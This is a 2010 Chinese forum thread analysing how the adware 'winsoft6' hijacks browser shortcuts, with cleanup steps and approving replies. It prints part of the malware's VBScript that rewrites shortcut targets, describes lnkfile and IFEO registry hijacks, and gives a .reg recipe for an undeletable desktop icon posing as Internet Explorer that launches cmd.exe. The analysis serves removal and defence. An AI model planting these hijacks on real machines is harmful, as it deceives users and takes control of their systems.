标题:分析“网页快捷方式劫持”之深度隐藏
只看楼主
redice
Rank: 3Rank: 3
等 级:新手上路
威 望:6
帖 子:902
专家分:0
注 册:2006-12-11
结帖率:72.73%
已结贴  问题点数:0 回复次数:7 
分析“网页快捷方式劫持”之深度隐藏
  分析“网页快捷方式劫持”之深度隐藏
// by redice 2010.05.08
// redice@

什么是“网页快捷方式劫持”?

相信不少遭受过流氓软件危害的人都有过这样的经历,不经意安装了流氓软件后,打开网页快捷方式(目标路径为网址的快捷方式)会被劫持到了一个流氓站点(通常目标站是网址导航类的站点)。
我称这种现象为“网页快捷方式劫持”(浏览器默认首页被修改不属于该范围)。

(1)“网页快捷方式劫持”之常规伎俩。

快捷方式的目标路径被修改了。这是最简单的方法,也是最笨的方法。
我遇到的流氓软件winsoft6,它目录下有个3.vbs文件,这个文件的功能就是将一些系统特殊目录(桌面,启动菜单,开始菜单等)下的
网页快捷方式目标路径修改为恶意站点的地址。

摘录3.vbs部分代码如下(狼子野心,昭然若揭...):
程序代码:
Set WshShell = WScript.CreateObject("WScript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop") :特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :特殊文件夹“桌面”

strttWinDir = WshShell.ExpandEnvironmentStrings("%ProgramFiles%")
iescc=strttWinDir&"\Internet Explorer\iexplore.exe"
ssd="粘贴"
winds = WshShell.ExpandEnvironmentStrings("%SystemRoot%")

Set oShellLink = WshShell.CreateShortcut(WshShell.SpecialFolders("AllUsersStartMenu") +"\程"&"序\启"&"动\腾讯QQ.lnk" )
oShellLink.TargetPath = "%Program"&"Files%\winsoft6\22"&"22.vbs" : 目标
oShellLink.IconLocation = "%ProgramFiles%\winsoft6\qq.ico, 0" : 图标
oShellLink.WorkingDirectory = "%ProgramFiles%\winsoft6\" : 起始位置
oShellLink.Save : 创建保存快捷方式

Sub Doits12345(lnktz)
Dim oldpath,newpath
oldpath = lnktz
Dim Wsh,fso
newpath = """"&strttWinDir&"\Common Files\winie6.html"""
Set Wsh = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

Dim Folders
Folders = Wsh.SpecialFolders("AllUsersDesktop")
Set f = fso.GetFolder(Folders)
Set fc = f.Files
For Each f1 in fc
ext = LCase(fso.GetExtensionName(f1))
if ext = "lnk" then
Set oShlnk = Wsh.CreateShortcut(f1)
If Instr(oShLnk.TargetPath,oldpath) > 0 Then
oShLnk.Arguments = newpath
oShLnk.Save
End If
Set oShLnk=NoThing
end if
Next
(省略部分代码......)
Set WSH = Nothing
End Sub

Call Doits12345("TTraveler"&".exe")
Call Doits12345("SogouExplorer.exe")
Call Doits12345("TheWorld.exe")
Call Doits12345("Maxthon.exe")
Call Doits12345("Maxthon2.exe")
Call Doits12345("360SE"&".exe")

WScript.quit


清除方法:通过查看快捷方式的属性很容易发现和修复,这个没什么JS含量,不足为奇。

(2)“网址快捷方式劫持”之印象劫持:

现象:

网页快捷方式的目标路径没有被修改,打开快捷方式会被劫持到恶意站点。
直接运行浏览器主程序(在浏览器目录下直接运行)也会被劫持,通常常见的浏览器(iexplorer.exe,firefox.exe,Maxthon.exe)都被劫持了。

原理及解决方案:

浏览器进程被印象劫持了,删除注册表中相应的印象劫持项即可
(在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options下找到浏览器进程名对应的项,删除即可)。
也可以用注册表搜索工具搜索恶意网站的地址,就可以找到(不要加http://)对应的映像劫持项,然后删除它们。

深度GHOSTXP2010贺岁珍藏版就存在这个问题,详情可以查看我的这篇文章《去掉“深度GHOSTXP2010贺岁珍藏版”浏览器映像劫持》,
http://www.


(3)“网页快捷方式劫持”之深度隐藏(最恶毒的手段):


现象一:

网页快捷方式的目标路径没有被修改,打开快捷方式会被劫持到某站点。直接运行浏览器主程序却正常(不会被劫持)。
不管是以前创建的还是新建的,打开都会被劫持。
而其在注册表中根本搜索不到对应的网址(深度隐藏啊)。
我遇到的流氓软件winsoft6,它目录下有个test.exe文件,运行后就会出现这个问题。

原理及解决方案:

查看注册表HKEY_CLASSES_ROOT\lnkfile项,发现其中多出了\shell\open\command子项,
command项的默认值为"C:\WINDOWS\System32\WScript.exe" "C:\Program Files\NetMeeting\Nod32.jse" "%1" %*,
这个配置参数的含义就是当我们双击快捷方式的时候,系统就会调用参数中的程序(这里是通过系统的脚本解释器运行了Nod32.jse)。

PS:有兴趣可以分析一下C:\Program Files\NetMeeting\Nod32.jse这个js文件,感觉写的很有水平。

解决方法:删除HKEY_CLASSES_ROOT\lnkfile\shell\open\command项,恢复lnkfile项的默认值(导入如下注册表文件)。


程序代码:
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\.lnk]

@="lnkfile"

[HKEY_CLASSES_ROOT\.lnk\ShellEx]

[HKEY_CLASSES_ROOT\.lnk\ShellEx\{000214EE-0000-0000-C000-000000000046}]

@="{00021401-0000-0000-C000-000000000046}"

[HKEY_CLASSES_ROOT\.lnk\ShellEx\{000214F9-0000-0000-C000-000000000046}]

@="{00021401-0000-0000-C000-000000000046}"

[HKEY_CLASSES_ROOT\.lnk\ShellEx\{00021500-0000-0000-C000-000000000046}]

@="{00021401-0000-0000-C000-000000000046}"

[HKEY_CLASSES_ROOT\.lnk\ShellEx\{BB2E617C-0920-11d1-9A0B-00C04FC2D6C1}]

@="{00021401-0000-0000-C000-000000000046}"

[HKEY_CLASSES_ROOT\.lnk\ShellNew]

"Command"="rundll32.exe appwiz.cpl,NewLinkHere %1"

[HKEY_CLASSES_ROOT\lnkfile]

@="快捷方式"

"EditFlags"=dword:00000001

"IsShortcut"=""

"NeverShowExt"=""

[HKEY_CLASSES_ROOT\lnkfile\CLSID]

@="{00021401-0000-0000-C000-000000000046}"

[HKEY_CLASSES_ROOT\lnkfile\shellex]

[HKEY_CLASSES_ROOT\lnkfile\shellex\ContextMenuHandlers]

[HKEY_CLASSES_ROOT\lnkfile\shellex\ContextMenuHandlers\Offline Files]

@="{750fdf0e-2a26-11d1-a3ea-080036587f03}"

[HKEY_CLASSES_ROOT\lnkfile\shellex\ContextMenuHandlers\{00021401-0000-0000-C000-000000000046}]

[HKEY_CLASSES_ROOT\lnkfile\shellex\DropHandler]

@="{00021401-0000-0000-C000-000000000046}"

[HKEY_CLASSES_ROOT\lnkfile\shellex\IconHandler]

@="{00021401-0000-0000-C000-000000000046}"

[HKEY_CLASSES_ROOT\lnkfile\shellex\PropertySheetHandlers]

[HKEY_CLASSES_ROOT\lnkfile\shellex\PropertySheetHandlers\ShimLayer Property Page]

@="{513D916F-2A8E-4F51-AEAB-0CBC76FB1AF8}"


附lnkfile.reg
09_161113_qnfulnkfile_reg.zip (953 Bytes)


现象二:

桌面多出一个Internet Explorer图标,查看属性和系统IE属性完全一样,主页也未被修改,双击打开的却是恶意站点。
也就是说多出来了一个恶意的Internet Explorer图标,无法删除(自定义桌面和桌面清理中都无法将其删除)。
而其在注册表中根本搜索不到对应的网址。
我遇到的流氓软件winsoft6,它目录下有个ie2.exe文件,运行后就会出现这个问题。

原理及解决方案:

恶意程序在HKEY_CLASSES_ROOT\CLSID下注册(新建)了一个新的CLSID,并将其伪装成Internet Explorer,然后将其添加到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\下。

PS:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\下添加的CLSID都会在桌面上显示。

挨个打开\Desktop\NameSpace\下的CLSID项,并定位到HKEY_CLASSES_ROOT\CLSID下,通过查看很容易发现如下的可疑项:

HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\Shell\Open(&O)\Command 的默认值为

C:\Program Files\Internet Explorer\Connection Wizard\iexplore.exe %1 h%t%t%p:%//%w%w%w.%15%18%16dh.%c%o%m

看来那个恶意IE图标就是{e17d4fc0-5564-11d1-83f2-00a0c90dc849}这个CLSID所对应的项。

删除HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}和
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}
桌面多出的IE图标就消失了。

做一个有趣的实验:

目的:在桌面上创建一个系统图标,该图标无法被直接删除,打开属性页显示Internet属性,双击打开cmd.exe。
步骤:

(1)在HKEY_CLASSES_ROOT\CLSID下新建一个CLSID项,导入如下注册表文件即可。

程序代码:
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}]
@="Internet Explorer"

[HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon]
@="cmd.exe"

[HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\Shell]

[HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\Shell\Open(&O)]
@="Open(&O)"

[HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\Shell\Open(&O)\Command]
@="cmd.exe"

[HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\Shell\属性(&R)]

[HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\Shell\属性(&R)\Command]
@="rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0"

[HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder]
"Attributes"=dword:00000000
@="HideOnDesktopPerUser"



(2) 在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer \Desktop\NameSpace\下添加{e17d4fc0-5564-11d1-83f2-00a0c90dc849}项。

结果:桌面上多出了一个cmd.exe的图标,名称是Internet Explorer,双击打开cmd.exe,右键属性打开的是Internet属性页。

ok,试验成功。

三种(准确说应该是四种)网页快捷方式劫持的方法到这里就分析完毕了。
这些都是我对winsoft6中恶意程序分析的结果,Registry Workshop(一个精悍的注册表编辑工具)帮了不少忙。

附流氓软件winsoft6,有兴趣大家也可以研究一下。
http://www.


[ 本帖最后由 redice 于 2010-5-10 09:04 编辑 ]
收到的鲜花
  • lonmaor2010-05-10 10:37 送鲜花  50朵   附言:原创内容
  • DragonWarrior2010-05-10 11:57 送鲜花  50朵   附言:好贴
搜索更多相关主题的帖子: 网页 深度 隐藏 
2010-05-10 09:02
lonmaor
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:郑州
等 级:版主
威 望:75
帖 子:2637
专家分:6423
注 册:2007-11-27
得分:10 
支持原创!

从不知道到知道,到知道自己不知道,成长的道路上脚步深深浅浅
2010-05-10 10:38
DragonWarrior
Rank: 16Rank: 16Rank: 16Rank: 16
来 自:百慕大三角
等 级:版主
威 望:45
帖 子:2076
专家分:5980
注 册:2008-12-2
得分:10 
支持好东西需要理由吗 不需要

Hey!!  Watch out !  You kick my face!!!
2010-05-10 11:58
千千幽魂
Rank: 1
等 级:新手上路
帖 子:16
专家分:4
注 册:2010-4-4
得分:0 
好东西,学习了
2010-05-30 10:51
holley
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2010-6-1
得分:0 
不错,目前流氓常用的几招都陈述到了
2010-06-05 09:48
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
得分:0 
我用我最虔诚的态度向楼主说 太牛了

我也中这个了 搞的头都打了 看了这个 醍醐灌顶 当头棒喝 啊

大音希声扫荫翳 拨云见雾见青天

一个字 顶~~~~~~~~

2010-06-13 17:26
zklhp
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:china
等 级:贵宾
威 望:254
帖 子:11485
专家分:33241
注 册:2007-7-10
得分:0 
我忍不住再顶一下 老大讲的太好了 我一定要转


2010-06-13 17:27
easo
Rank: 1
等 级:新手上路
帖 子:2
专家分:0
注 册:2010-11-14
得分:0 
学习了
2010-11-14 20:11



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-306024-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.653263 second(s), 10 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved